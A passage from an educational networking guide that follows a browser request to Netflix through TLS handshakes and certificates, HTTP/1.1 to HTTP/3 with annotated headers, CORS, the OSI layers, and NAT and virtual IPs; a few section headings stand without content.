This property is called Forward Secrecy.

Diffie-Hellman Key Exchange (Simple Analogy)

Imagine you and Netflix both have a common base color (public — everyone knows it). You each mix in your own secret color privately. You exchange your mixed colors. Each of you then mixes the other's mixed color with your own secret. You both end up with the same final color — but nobody watching the exchange ever sees either secret color.

ECDHE — Elliptic Curve Diffie-Hellman Ephemeral

1. Both agree on a public elliptic curve (e.g., X25519) — public knowledge.

2. Client generates a random private key (a secret number).
   Client computes: public_key_client = private_key_client × generator_point

3. Server generates a random private key.
   Server computes: public_key_server = private_key_server × generator_point

4. They exchange public keys (visible to everyone).

5. Client computes: shared_secret = private_key_client × public_key_server
   Server computes: shared_secret = private_key_server × public_key_client

   These are mathematically equal! Both get the same shared_secret.
   But an eavesdropper who sees both public keys cannot compute shared_secret
   (Elliptic Curve Discrete Logarithm Problem — computationally infeasible).

6. shared_secret → key derivation → session keys for encryption

Ephemeral means a new key pair is generated for every connection. Even if you crack today's session key, you cannot decrypt past or future sessions. This is forward secrecy.

TLS Certificate — Proving Identity

The server's certificate answers: "Is this really netflix.com?"

A certificate is a digital document containing:

• Subject: www.netflix.com
• Issuer: DigiCert SHA2 Secure Server CA (the Certificate Authority)
• Public Key: Netflix's public key
• Validity Period: Not Before / Not After
• Signature: DigiCert's digital signature over all the above
• SANs (Subject Alternative Names): Other hostnames this cert is valid for (*.netflix.com)

Certificate Chain of Trust

No single authority is universally trusted. Instead, there is a hierarchy:

Root CA (DigiCert Global Root CA)
  │  Self-signed. Pre-installed in your OS/browser trust store.
  │  Signs the Intermediate CA certificate.
  │
  └──► Intermediate CA (DigiCert SHA2 Secure Server CA)
         │  Signed by Root CA.
         │  Signs Netflix's certificate.
         │
         └──► End-Entity Certificate (www.netflix.com)
                Subject: www.netflix.com
                Issuer: DigiCert SHA2 Secure Server CA
                Signed by Intermediate CA.

Why three levels? Security. Root CA private keys are usually kept offline or under very strict controls, while intermediate CAs handle day-to-day issuance. If an intermediate CA is compromised, it can be revoked without replacing the root trust anchor.

Certificate Validation Steps

When the browser receives Netflix's certificate:

1. Is the certificate's Subject (or SAN) = "www.netflix.com"?
   If NO → error: certificate name mismatch

2. Is the current date between the cert's Not Before and Not After?
   If NO → error: certificate expired

3. Is the Intermediate CA's certificate valid? (recursively up the chain)
   Is the Root CA in our trust store?
   If NO → error: untrusted certificate authority

4. Verify the signature: DigiCert's signature on the cert is valid?
   Use DigiCert's public key to verify.
   If NO → error: invalid signature

5. Is revocation information available and enforced by this client?
   If the browser has hard-fail revocation data or a required staple says
   revoked → error. In many ordinary OCSP failures, browsers historically
   soft-fail to avoid breaking the web.

6. CAA is normally checked by the CA before issuance, not by the browser on
   every connection. It prevents the wrong CA from issuing the certificate in
   the first place.

All checks pass → certificate trusted ✓

OCSP — Online Certificate Status Protocol

OCSP lets browsers check in real-time if a certificate has been revoked (e.g., Netflix's private key was stolen).

Problem: Browser must make a separate network request to DigiCert's OCSP server for every HTTPS connection — adds latency, privacy risk (DigiCert sees who you visit).

OCSP Stapling (solution): Netflix's server fetches the OCSP response from DigiCert itself (periodically), then staples (includes) it in the TLS handshake. Browser gets proof of validity without making a separate request.

SNI — Server Name Indication

A single server IP may host thousands of websites (virtual hosting). Before TLS is established, the server doesn't know which certificate to present.

SNI solves this: the client includes the hostname (www.netflix.com) in the ClientHello — before encryption starts — so the server can select the right certificate.

ClientHello includes:
  SNI: "www.netflix.com"

Server selects:
  Certificate for www.netflix.com ✓  (not youtube.com, not google.com)

Privacy implication: SNI is sent in plaintext. Your ISP and anyone on the path can see which hostname you're connecting to (even though they can't see the content). Encrypted Client Hello (ECH) is a newer standard that encrypts the SNI.

ALPN — Application Layer Protocol Negotiation

In the same ClientHello, the browser advertises which HTTP versions it supports:

ALPN: ["h2", "http/1.1"]

Server responds with its selection:

ALPN: "h2"   → use HTTP/2 over TLS/TCP
ALPN: "h3"   → use HTTP/3 inside QUIC's TLS 1.3 handshake

For HTTP/1.1 and HTTP/2 over TCP, ALPN avoids a separate upgrade roundtrip after TLS is established. HTTP/3 uses QUIC, so browsers usually discover it via Alt-Svc or HTTPS DNS records and then negotiate h3 inside QUIC's TLS 1.3 handshake.

SSL Termination, Bridging, and Passthrough

There are three ways to handle TLS at the edge:

1. TLS termination (often called "SSL termination")

Client ──[HTTPS/TLS]──► Edge (Nginx/Envoy)  ──[HTTP or internal TLS]──► Origin
                              ▲
                    TLS terminates here.
                    Edge decrypts, reads HTTP, can cache/rate-limit/inspect.
                    Forwards plaintext or re-encrypts to origin.

Pros: Edge can inspect content (cache, rate limit, auth, WAF), lower origin CPU load. Cons: Traffic between edge and origin is decrypted — must trust internal network or use internal TLS.

2. SSL Bridging / Re-encryption

Client ──[TLS]──► Edge ──[NEW TLS connection]──► Origin

Edge terminates the client TLS session and creates a new TLS session to the origin. Edge can still inspect content. Two separate encrypted channels.

3. SSL Passthrough

Client ──[TLS]──────────────────────────────► Origin
                  Edge only routes TCP stream.
                  Never decrypts. Cannot inspect.

Pros: Maximum privacy — even the edge doesn't see the content. Cons: Cannot cache, cannot rate limit at HTTP level, cannot do WAF.

Session Resumption — Not Starting from Scratch

TLS handshakes are expensive (crypto operations, certificate parsing). For returning users, TLS 1.3 allows session resumption:

TLS 1.3 Pre-Shared Key (PSK) — 0-RTT

First visit:
  Full TLS 1.3 handshake (1 RTT)
  Server sends a "session ticket" — an encrypted blob the client stores.

Returning visit:
  ClientHello + session ticket + [early data — the HTTP request!]
  ↓
  Server decrypts ticket, resumes session, processes early data immediately
  → HTTP response starts before TLS handshake even completes!
  → 0 RTT for returning users

Security trade-off of 0-RTT: Early data is replay-vulnerable. An attacker who captures your ClientHello + early data can resend it later. For this reason, 0-RTT is only used for idempotent requests (GET requests that don't change state). Never for POST/payments.

TLS 1.3 vs TLS 1.2 — Why the Upgrade Matters

TLS 1.0 and 1.1 are deprecated (2020). TLS 1.2 is still widely used but being phased out. TLS 1.3 is the target.

What an Attacker Can and Cannot See

With HTTPS correctly implemented:

mTLS — Mutual TLS

Standard TLS: only the server proves its identity (via certificate). The client is anonymous.

mTLS (Mutual TLS): Both the server AND the client present certificates. Both authenticate each other.

Standard TLS:
  Server presents cert → Browser verifies → Trust established

mTLS:
  Server presents cert → Client verifies
  Client presents cert → Server verifies
  → Both sides authenticated

Used for:

• Service-to-service authentication (microservices inside Netflix's cluster authenticate each other)
• Zero-trust networks (no implicit trust even inside the datacenter)
• API clients that need strong authentication beyond passwords

Common TLS Attacks

Certificate Transparency (CT)

A public, append-only log of every TLS certificate ever issued. Browsers require certificates to be logged in CT logs. If a CA mistakenly issues netflix.com to an attacker, Netflix's monitoring will detect it within minutes.

Chapter 5 — HTTP: The Conversation

TLS gave us an encrypted tunnel. Now we use HTTP to actually talk — to ask for pages and get them back.

HTTP Versions — How We Got Here

Modern large sites commonly support HTTP/2 and increasingly HTTP/3, but the version used by any one request depends on browser support, server support, network policy, and fallback behavior.

HTTP/1.1 — The Foundation

HTTP/1.1 is a text-based protocol. Both request and response are human-readable.

Basic Structure

[Method] [Path] [Version]
[Header]: [Value]
[Header]: [Value]
[blank line]
[Body — optional]

Problem with HTTP/1.1: Head-of-Line Blocking

HTTP/1.1 sends one request at a time per connection (pipelining was specified but rarely worked). Loading a page with 50 resources (CSS, JS, images) sequentially over one connection is slow.

Workaround: Browsers open 6 parallel TCP connections per domain. But each connection has its own TCP and TLS handshake overhead.

HTTP/2 — Multiplexing

HTTP/2 solves head-of-line blocking by multiplexing multiple streams over a single TCP connection.

Key HTTP/2 Concepts

Streams: Each HTTP request/response pair is a stream with a unique stream ID. Multiple streams fly over one TCP connection simultaneously — no waiting.

One TCP connection:
  Stream 1: GET /index.html   ────────────────────────►
  Stream 3: GET /style.css    ──────────────────►
  Stream 5: GET /app.js       ────────────────────────────────►
  Stream 7: GET /logo.png     ──────────────────────────►
  All in parallel, interleaved, over ONE TCP connection.

Binary Protocol: HTTP/2 uses a binary framing layer instead of text. Smaller, faster, less error-prone to parse.

HPACK Header Compression: HTTP headers are often large and repetitive (User-Agent, Cookie, Accept-Encoding are sent with every request). HPACK maintains a shared table of previously seen header values and references them by index instead of repeating the full string.

Request 1: User-Agent: Mozilla/5.0... (full string, 50 bytes)
Request 2: User-Agent: [index=1]       (1 byte — just a reference)

Server Push: Server can proactively send resources it knows the browser will need, before the browser asks:

Browser: GET /index.html
Server:  PUSH /style.css   ← sends this before browser asks
Server:  PUSH /app.js      ← sends this before browser asks
Server:  200 OK [index.html]

In practice, server push is tricky (may push things already in browser cache) and is being phased out in HTTP/3.

HTTP/2 Limitation: Head-of-line blocking at the TCP level. If one TCP segment is lost, all HTTP/2 streams on that connection stall waiting for retransmission. This is solved by HTTP/3.

HTTP/3 — QUIC

HTTP/3 runs over QUIC — a new transport protocol that runs over UDP instead of TCP.

Why UDP?

QUIC implements its own reliability, ordering, and congestion control on top of UDP. This allows:

HTTP/2 over TCP:
  Stream 1, Stream 2, Stream 3 — all over one TCP connection
  If TCP packet is lost → ALL streams stall waiting for retransmit
  This is TCP head-of-line blocking.

HTTP/3 over QUIC:
  Stream 1, Stream 2, Stream 3 — each is independent
  If QUIC packet for Stream 1 is lost → only Stream 1 stalls
  Streams 2 and 3 continue unaffected
  This eliminates head-of-line blocking completely.

QUIC Benefits

• 0-RTT connection establishment (for returning users — TLS 1.3 PSK combined with QUIC handshake in one go)
• Connection migration: Your connection survives IP address changes (switching from Wi-Fi to 4G). The QUIC connection ID remains stable even when your IP changes.
• Better performance on lossy networks (mobile, satellite)
• Multiplexing without head-of-line blocking

QUIC handshake (new connection):
  Client → Server: QUIC Initial + ClientHello  (QUIC + TLS combined)
  Server → Client: QUIC Handshake + ServerHello + Certificate + Finished
  Client → Server: Finished + [HTTP/3 request]
  = 1 RTT total (TCP + TLS 1.3 = 2 RTTs)

QUIC 0-RTT (returning user):
  Client → Server: QUIC Initial + [HTTP/3 request]  (0 RTT!)

HTTP Request — Full Anatomy

Request Methods

Safe = does not change server state (GET, HEAD, OPTIONS). Idempotent = calling it multiple times has the same result (GET, PUT, DELETE).

Full Annotated Request

GET / HTTP/2
:method: GET                        ← HTTP/2 pseudo-headers use : prefix
:path: /
:scheme: https
:authority: www.netflix.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
            AppleWebKit/537.36 (KHTML, like Gecko)
            Chrome/120.0.0.0 Safari/537.36
            ↑ Identifies browser and OS. Servers may serve different content per UA.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,*/*;q=0.8
        ↑ What content types the browser can handle.
          q= is quality factor (preference weight, 0–1).
          "I prefer text/html, but I'll accept anything"

Accept-Language: en-US,en;q=0.9,fr;q=0.7
                 ↑ Preferred languages in priority order.

Accept-Encoding: gzip, br, zstd
                 ↑ Compression algorithms supported.
                   br = Brotli (Google's algorithm, 20% better than gzip)
                   zstd = Zstandard (Facebook's algorithm, very fast)

Cache-Control: no-cache
               ↑ Force server to send fresh content.
                 "no-cache" means "revalidate, don't serve stale"
                 "no-store" means "don't cache at all"

Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
                ↑ Browser security headers. Prevent CSRF.
                  Tells server context of this request (navigation, fetch, etc.)

Sec-CH-UA: "Chromium";v="120", "Google Chrome";v="120"
Sec-CH-UA-Mobile: ?0
Sec-CH-UA-Platform: "macOS"
                   ↑ Client Hints — more structured UA info.

Cookie: nfvdid=XYZ123; NetflixId=ABC456; SecureNetflixId=DEF789
        ↑ Session state. Sent with every request to same domain.
          NetflixId = your session token. HttpOnly cookie — JS cannot read it.

Authorization: Bearer eyJhbGciOiJSUzI1NiJ9...
               ↑ JWT token for API requests. Contains encoded user info.

Referer: https://www.netflix.com/
         ↑ Which page sent you here (same-origin navigation).
           Stripped for cross-origin requests (Referrer-Policy).

Origin: https://www.netflix.com
        ↑ For CORS (cross-origin resource sharing) checks.

Upgrade-Insecure-Requests: 1
        ↑ "If you redirect me, please redirect to HTTPS."

Connection: keep-alive
            ↑ HTTP/1.1 header — keep TCP connection open for reuse.
              In HTTP/2, always multiplexed — this header is ignored.

DNT: 1
     ↑ Do Not Track preference. Mostly ignored by servers.

HTTP Response — Full Anatomy

HTTP/2 200 OK

Content-Type: text/html; charset=UTF-8
              ↑ What kind of content is in the body.
                charset=UTF-8 tells browser how to decode bytes.

Content-Length: 45231
                ↑ Exact size of body in bytes.
                  OR use Transfer-Encoding: chunked for streaming responses.

Content-Encoding: br
                  ↑ Body is Brotli-compressed. Browser decompresses before rendering.

# ── CACHING ────────────────────────────────────────────────────────────────

Cache-Control: no-store, no-cache, must-revalidate
               ↑ Don't cache this response. Netflix's HTML is personalized —
                 different user gets different content.

Cache-Control: public, max-age=31536000, immutable
               ↑ (For static assets like /app.abc123.js)
                 Cache for 1 year. "immutable" = browser never revalidates.
                 Safe because the filename contains a content hash.

ETag: "abc123def456"
      ↑ A fingerprint of the response. Browser sends it next request:
        If-None-Match: "abc123def456"
        Server: 304 Not Modified (no body) if unchanged.

Last-Modified: Tue, 22 Apr 2026 10:00:00 GMT
               ↑ When this resource last changed.
                 Browser can send If-Modified-Since header to check.

Vary: Accept-Encoding
      ↑ "This response differs based on Accept-Encoding."
        Caches must store separate copies per encoding.

Age: 0
     ↑ How many seconds this response has been in a cache.
       0 = fresh from origin.

# ── SECURITY ───────────────────────────────────────────────────────────────

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                           ↑ HSTS. Browser must use HTTPS for this domain
                             for the next year. Even if you type http://.
                             preload: this domain is in browsers' hardcoded
                             HSTS preload list — HTTPS enforced from the
                             very first request, ever.

Content-Security-Policy: default-src 'self';
                         script-src 'self' *.nflxvideo.net 'nonce-abc123';
                         img-src 'self' *.nflximg.net data:;
                         connect-src 'self' api.netflix.com;
                         frame-ancestors 'none'
  ↑ CSP. Whitelist of sources for each resource type.
    Prevents XSS: even if attacker injects a <script> tag, browser blocks it
    if the source isn't whitelisted.
    nonce-abc123: inline scripts must have this nonce attribute.

X-Frame-Options: DENY
                 ↑ This page cannot be embedded in an iframe on another site.
                   Prevents clickjacking attacks.
                   Superseded by CSP frame-ancestors, but kept for older browsers.

X-Content-Type-Options: nosniff
                         ↑ Browser must not try to guess content type.
                           Only interpret response as declared Content-Type.
                           Prevents MIME confusion attacks.

Referrer-Policy: strict-origin-when-cross-origin
                 ↑ Only send origin (not full URL) as Referer on cross-origin requests.
                   Full URL sent for same-origin. Nothing sent for downgrade (HTTPS→HTTP).

Permissions-Policy: geolocation=(), camera=(), microphone=(), payment=()
                    ↑ Deny browser APIs to this page and its embedded content.
                      Even if JS tries navigator.geolocation, browser blocks it.

# ── CORS ────────────────────────────────────────────────────────────────────

Access-Control-Allow-Origin: https://www.netflix.com
                              ↑ Only this origin may read the response cross-origin.
                                Use * to allow any origin (not for credentialed requests).

Access-Control-Allow-Credentials: true
                                   ↑ Cookies/auth headers included in cross-origin requests.

Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With
Access-Control-Max-Age: 86400
                         ↑ Preflight result cached for 24 hours.

# ── COOKIES ─────────────────────────────────────────────────────────────────

Set-Cookie: nfvdid=XYZ123;
            Max-Age=31536000;        ← expires in 1 year
            Domain=.netflix.com;     ← shared across all netflix.com subdomains
            Path=/;
            Secure;                  ← only sent over HTTPS
            HttpOnly;                ← JavaScript cannot read this cookie
            SameSite=None            ← sent on cross-site requests (needed for embeds)
  ↑ SameSite=Strict: only same-site requests (strongest CSRF protection)
    SameSite=Lax: sent on top-level navigation (good default)
    SameSite=None: sent everywhere (requires Secure)

# ── TRACING & INFRA ─────────────────────────────────────────────────────────

Server: nginx
        ↑ No version number — don't reveal exact version to attackers.

X-Netflix-Request-Id: abc-123-def-456
                       ↑ Correlation ID. Used to trace this request through
                         Netflix's internal logs and distributed tracing systems.

Via: 1.1 netflix-edge-pop-1.netflix.com (EGW)
     ↑ Which proxies forwarded this response.

X-Response-Time: 43ms
                 ↑ How long origin took to process this request.

HTTP Status Codes — The Complete Picture

1xx — Informational

2xx — Success

3xx — Redirection

4xx — Client Errors

5xx — Server Errors

CORS — Cross-Origin Resource Sharing

A web page at https://netflix.com wants to make an API call to https://api.netflix.com. These are different origins (different subdomain). The Same-Origin Policy blocks this by default.

CORS is a mechanism that lets servers explicitly permit cross-origin requests.

Browser is on: https://www.netflix.com
Browser wants to fetch: https://api.netflix.com/users/me

Step 1: Browser sends a Preflight request (OPTIONS):
  OPTIONS /users/me HTTP/2
  Origin: https://www.netflix.com
  Access-Control-Request-Method: GET
  Access-Control-Request-Headers: Authorization

Step 2: api.netflix.com responds:
  Access-Control-Allow-Origin: https://www.netflix.com   ← "yes, I allow this origin"
  Access-Control-Allow-Methods: GET, POST
  Access-Control-Allow-Headers: Authorization
  Access-Control-Max-Age: 86400   ← cache this preflight result for 24h

Step 3: Browser sends the actual GET request.
Step 4: Response returned to JavaScript.

If Step 2 fails (origin not allowed):
  Browser blocks the response. Network tab shows CORS error.
  Server DID receive the request — CORS is enforced by the browser, not the server.

Simple requests (GET/POST with basic headers) skip the preflight. Complex requests (PUT, DELETE, custom headers) require it.

Chapter 6 — OSI Layers: The Network Stack

The OSI model is a way of thinking about how data travels across a network, broken into 7 layers. Each layer has a specific job and talks to the layers above and below it.

The OSI Model vs The TCP/IP Model

The OSI model is a theoretical 7-layer framework. The TCP/IP model is what the internet actually uses — 4 layers that map onto OSI.

OSI Model                    TCP/IP Model         Protocols
┌─────────────────────┐      ┌──────────────────┐
│ L7  Application     │      │                  │  HTTP, HTTPS, DNS, FTP, SMTP
├─────────────────────┤      │  Application     │  WebSocket, gRPC, SSH
│ L6  Presentation    │      │                  │  TLS/SSL, gzip, JSON, Base64
├─────────────────────┤      ├──────────────────┤
│ L5  Session         │      │  (part of App)   │  TLS sessions, RPC sessions
├─────────────────────┤      ├──────────────────┤
│ L4  Transport       │      │  Transport       │  TCP, UDP, QUIC, SCTP
├─────────────────────┤      ├──────────────────┤
│ L3  Network         │      │  Internet        │  IPv4, IPv6, ICMP, BGP
├─────────────────────┤      ├──────────────────┤
│ L2  Data Link       │      │                  │  Ethernet, Wi-Fi (802.11)
├─────────────────────┤      │  Network Access  │  ARP, PPP, VLAN (802.1Q)
│ L1  Physical        │      │                  │  Copper, Fiber, Radio waves
└─────────────────────┘      └──────────────────┘

In practice, engineers talk about layers using OSI numbers (L3, L4, L7) even when they mean the TCP/IP model. "L7 load balancer" means it operates at the Application layer.

Important note: TLS doesn't fit neatly into OSI. TLS spans functionality across L4-L7 — session establishment (L5), encryption/encoding (L6), and application security (L7). In practice, just think of TLS as "between TCP and HTTP."

Encapsulation — Wrapping Data as It Goes Down

When data travels from your browser to Netflix, each layer wraps the data from the layer above with its own header. This is encapsulation.

Your HTTP GET request (bytes)
        │
        │ L6/L7: TLS wraps it
        ▼
[TLS Record Header | Encrypted HTTP data]
        │
        │ L4: TCP wraps it
        ▼
[TCP Header | TLS Record]
        │
        │ L3: IP wraps it
        ▼
[IP Header | TCP Header | TLS Record]
        │
        │ L2: Ethernet wraps it
        ▼
[Ethernet Frame Header | IP Header | TCP Header | TLS Record | FCS]
        │
        │ L1: transmitted as bits
        ▼
10110101 00011011 ... (electrical signal on wire / light on fiber / radio waves)

On the receiving end, each layer unwraps (decapsulates):

Bits arrive at Netflix's server
  → L1 converts to bytes
  → L2 strips Ethernet header, checks FCS
  → L3 strips IP header, checks destination IP
  → L4 strips TCP header, reorders segments
  → L6 decrypts TLS
  → L7 parses HTTP request
  → Application processes "GET /"

Layer 1 — Physical

What it does: Transmits raw bits (0s and 1s) over a physical medium.

Doesn't know about: Addresses, packets, protocols. Just bits.

Media types:

Copper wire (Cat5e/Cat6):   Electrical voltage changes represent bits
                            Max: 10 Gbps (10GBASE-T), ~100m distance

Fiber optic:                Pulses of light represent bits
                            Single-mode: 10–400 Gbps, 100+ km distance
                            Multi-mode:  10–100 Gbps, ~500m distance

Wi-Fi (802.11ax/Wi-Fi 6):  Radio waves at 2.4 GHz / 5 GHz / 6 GHz
                            Max: ~9.6 Gbps theoretical (real-world ~1-2 Gbps)

5G NR:                      Radio waves, licensed spectrum
                            Max: ~20 Gbps theoretical (real-world ~500 Mbps)

Devices at L1: Network interface card (NIC), hubs (dumb repeaters), antennas, modems.

In Netflix's journey: Your bytes travel as light pulses in fiber optic cables under the ocean between continents.

Layer 2 — Data Link

What it does: Transfers data between two directly connected devices (same network). Handles framing, addressing within the local network, and error detection.

Key concept: MAC address — a hardware address (48 bits, like 00:1A:2B:3C:4D:5E), unique per network interface card. Used for addressing within a local network.

Ethernet Frame Structure

┌──────────────┬──────────────┬──────────────┬────────────────┬─────┐
│ Dst MAC      │ Src MAC      │ EtherType    │ Payload        │ FCS │
│ (6 bytes)    │ (6 bytes)    │ (2 bytes)    │ (46-1500 bytes)│ 4B  │
└──────────────┴──────────────┴──────────────┴────────────────┴─────┘

• Dst/Src MAC: Who this frame is for, who sent it (within local network only).
• EtherType: What's inside — 0x0800 = IPv4, 0x86DD = IPv6, 0x0806 = ARP.
• FCS (Frame Check Sequence): CRC checksum to detect bit errors. Corrupted frames are dropped.

ARP — Address Resolution Protocol

When your laptop wants to send a packet to 192.168.1.1 (your router), it needs the router's MAC address first.

Your laptop broadcasts (to all devices on LAN):
  "Who has IP 192.168.1.1? Tell 192.168.1.105"

Router responds (unicast):
  "I have 192.168.1.1. My MAC is 00:11:22:33:44:55"

Your laptop caches this (ARP cache) and uses MAC 00:11:22:33:44:55 for the frame.

Note: When your packet leaves your local network, L2 Dst MAC changes at every hop — each router rewrites the Ethernet frame with the next router's MAC. The L3 IP addresses don't change (except with NAT).

Devices at L2: Switches (MAC address tables, forward frames to the right port), Wi-Fi access points, bridges.

VLANs — Virtual Local Area Networks

A VLAN logically divides one physical network into isolated segments. Frames carry a VLAN tag (802.1Q):

[Dst MAC | Src MAC | 0x8100 VLAN tag | VLAN ID (12-bit) | EtherType | Payload | FCS]

A datacenter might use VLANs to separate traffic types: management traffic on one VLAN, web traffic on another, storage traffic on another — isolated even on the same physical switches.

Layer 3 — Network

What it does: Routes packets from source to destination across multiple networks. This is where the internet happens.

Key protocols: IPv4, IPv6, ICMP, BGP, OSPF.

IPv4 Packet Structure

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
┌────────┬─────────┬──────────────────────────────────────────────┐
│Version │  IHL   │ DSCP / ECN        │     Total Length          │
├────────┴─────────┴──────────────────────────────────────────────┤
│        Identification               │Flags│  Fragment Offset    │
├─────────────────────────────────────────────────────────────────┤
│      TTL          │    Protocol     │       Header Checksum     │
├─────────────────────────────────────────────────────────────────┤
│                      Source IP Address                          │
├─────────────────────────────────────────────────────────────────┤
│                    Destination IP Address                       │
└─────────────────────────────────────────────────────────────────┘

Key fields:

• TTL: Decremented at each router. Packet dropped when 0. Prevents routing loops.
• Protocol: What's inside — 6 = TCP, 17 = UDP, 1 = ICMP.
• Source/Dest IP: The globally routable addresses. These don't change across the internet (except at NAT).
• DSCP: Differentiated Services Code Point — Quality of Service marking. Netflix marks video packets with a higher priority so routers handle them before background traffic.

IPv6 Packet Structure

┌──────────┬───────────────┬───────────────┬───────────────────────┐
│ Version  │ Traffic Class │  Flow Label   │                       │
├──────────┴───────────────┴───────────────┤  Payload Length       │
│  Next Header  │  Hop Limit               │                       │
├───────────────┴──────────────────────────┴───────────────────────┤
│                                                                  │
│                    Source IPv6 Address (128 bits)                │
│                                                                  │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│                  Destination IPv6 Address (128 bits)             │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

IPv6 improvements over IPv4:

• Fixed 40-byte header (no variable-length options) — faster routing
• No fragmentation at routers (done at source only)
• No broadcast — uses multicast
• Built-in IPsec support
• No ARP — uses NDP (Neighbor Discovery Protocol)

ICMP — Internet Control Message Protocol

ICMP is L3's "error and diagnostic" protocol. Lives inside IP packets (Protocol=1).

ping www.netflix.com
  → Sends ICMP Echo Request to 52.38.36.82
  ← Receives ICMP Echo Reply
  → Measures RTT (Round-Trip Time)

traceroute www.netflix.com
  → Sends packets with TTL=1 (dies at first router → ICMP Time Exceeded)
  → Sends packets with TTL=2 (dies at second router)
  → ... until destination reached
  → Maps the path and latency at each hop

Devices at L3: Routers, Layer 3 switches, firewalls (inspect IP addresses).

Layer 4 — Transport

What it does: End-to-end communication between applications. Multiplexes multiple conversations over one IP address using ports. TCP adds reliability; UDP adds speed.

Already covered in depth in Chapter 3 (TCP: Reliable Delivery).

Key addition — stateful firewalls live at L4:

Firewall rule example:
  ALLOW TCP from 0.0.0.0/0 to 10.0.4.55 port 443   (incoming HTTPS)
  ALLOW TCP from 10.0.4.55 to 0.0.0.0/0 (ESTABLISHED, RELATED)  (return traffic)
  DENY all other

Stateful = firewall tracks TCP state machine.
  SYN from outside → creates state table entry.
  Response ACK from inside → matches state → allowed.
  SYN from outside with no prior SYN → rejected (no state entry).

Devices at L4: Firewalls, L4 load balancers, NAT routers.

Layer 5 — Session

What it does: Manages sessions — persistent, stateful conversations between applications. Establishes, maintains, and terminates sessions.

In practice, this layer is rarely spoken of separately. TLS session management, HTTP keep-alive, WebSocket connections, and database sessions all fit here conceptually.

Layer 6 — Presentation

What it does: Data translation, encoding, and encryption. Makes sure sender's data format is understood by receiver.

In practice:

• TLS/SSL encryption (encrypts L7 data)
• Compression (gzip, Brotli)
• Character encoding (UTF-8, ASCII)
• Serialization (JSON → bytes, Protobuf, XML)

Layer 7 — Application

What it does: The actual protocol your application uses. This is where HTTP, DNS, SMTP, WebSocket, gRPC live.

This is the layer you write code against as a web developer. HTTP request methods, headers, status codes — all L7.

Devices at L7: Web servers (Nginx, Apache), API gateways, L7 load balancers, WAFs (Web Application Firewalls), CDNs.

Where Devices Operate

L7   WAF, API Gateway, L7 Load Balancer, CDN, Web Server, App Server
     (read HTTP headers, URLs, cookies — full request inspection)
     │
L6   TLS terminator (Nginx, Envoy)
     (decrypt/encrypt, compress/decompress)
     │
L5   Session manager
     (TLS session resumption, connection pools)
     │
L4   L4 Load Balancer, Firewall, NAT
     (read TCP/UDP, ports — no content inspection)
     │
L3   Router
     (read IP addresses only — just forward the packet)
     │
L2   Switch
     (read MAC addresses — forward within local network)
     │
L1   Hub, NIC, fiber, copper, Wi-Fi radio
     (just move bits)

The higher the layer, the more a device knows about your traffic — and the more it can do (inspect, block, route by content). The lower the layer, the faster and dumber the device.

Real Packet Journey for Your Netflix Request

Your browser creates:  GET / HTTP/2   (L7)
TLS encrypts it        (L6)
TCP segments it        (L4): [SrcPort:54321 DstPort:443 Seq:1000 | encrypted data]
IP wraps it            (L3): [SrcIP:192.168.1.105 DstIP:52.38.36.82 | TCP segment]
Ethernet frames it     (L2): [SrcMAC:aa:bb:cc DstMAC:router-MAC | IP packet | FCS]
NIC sends bits         (L1): 10110101 00011011...

→ Your router (L2 switch + L3 router):
   L2: receives frame, strips Ethernet header
   L3: reads IP, performs S-NAT (192.168.1.105 → 203.0.113.45)
       looks up routing table, forwards to ISP
   L2: re-wraps with new Ethernet frame to ISP's MAC

→ ISP router (L3 only):
   L3: reads IP, looks up routing table
   Forwards toward Netflix's AS

→ Netflix border router (L3):
   L3: reads IP, routes to edge server

→ Netflix edge / L4 LB:
   L4: receives TCP SYN, creates connection state
       performs D-NAT: 52.38.36.82 → 10.0.4.55

→ Netflix edge / TLS terminator (L6):
   Decrypts TLS → plain HTTP

→ Netflix L7 load balancer (L7):
   Reads HTTP headers → routes to correct backend

→ Netflix origin server (L7):
   Nginx / Zuul / Node.js processes HTTP request
   Returns HTML response

→ Same journey in reverse back to your browser

→ Your browser renders the HTML (L7)

Chapter 7 — NAT, VIP, BGP, Anycast & VRRP: Global Traffic Routing

How does your request find Netflix's servers across the world? And how does Netflix make sure a single server failure doesn't take down the site? These mechanisms answer both questions.

NAT — Network Address Translation

Covered in detail in Chapter 1 (How the Internet Works). Quick summary:

S-NAT (Source NAT) — Your Home Router

Your laptop         Router performs S-NAT        Netflix server
192.168.1.105:54321 ──────────────────────────► 52.38.36.82:443
                     rewrites source:
                     192.168.1.105:54321
                     → 203.0.113.45:54321

NAT table entry created:

Private                    Public                      External
192.168.1.105:54321   ←→  203.0.113.45:54321   ←→   52.38.36.82:443

Return traffic: Netflix responds to 203.0.113.45:54321. Router looks up NAT table. Delivers to 192.168.1.105:54321.

Why S-NAT exists: IPv4 address exhaustion. One public IP, many private devices.

D-NAT (Destination NAT) — Netflix's Load Balancer

Your request arrives at Netflix VIP:  Dst=52.38.36.82:443
Netflix LB rewrites destination:       Dst=10.0.4.55:443  (real backend)

This is D-NAT: rewriting the DESTINATION address.

Why D-NAT: One public VIP fans out to hundreds of private backend servers. This is the foundation of load balancing at L4.

PAT — Port Address Translation

A more specific form of S-NAT used by home routers. Multiple internal devices share ONE public IP — differentiated by different source ports.

Device A:  192.168.1.105:54321 → 203.0.113.45:54321  → Netflix
Device B:  192.168.1.107:54321 → 203.0.113.45:54322  → Netflix
Device C:  192.168.1.109:8080  → 203.0.113.45:54323  → Netflix

All three map to the SAME public IP but different source ports.
Router tracks all three in its NAT table.

VIP — Virtual IP Address

A VIP is an IP address that is not permanently assigned to any single server or physical interface. It is a floating address that can be held by different servers at different times.

Why VIPs Exist

Without a VIP:

You connect to real server IP: 10.0.4.55
Server crashes → your connection is dead
You must reconnect to a different IP: 10.0.4.56
You (and DNS) must know about multiple individual servers

With a VIP:

You connect to VIP: 52.38.36.82
VIP is held by whoever is healthy (load balancer or any server in the cluster)
One server crashes → VIP moves to another (VRRP) or load balancer removes it from pool
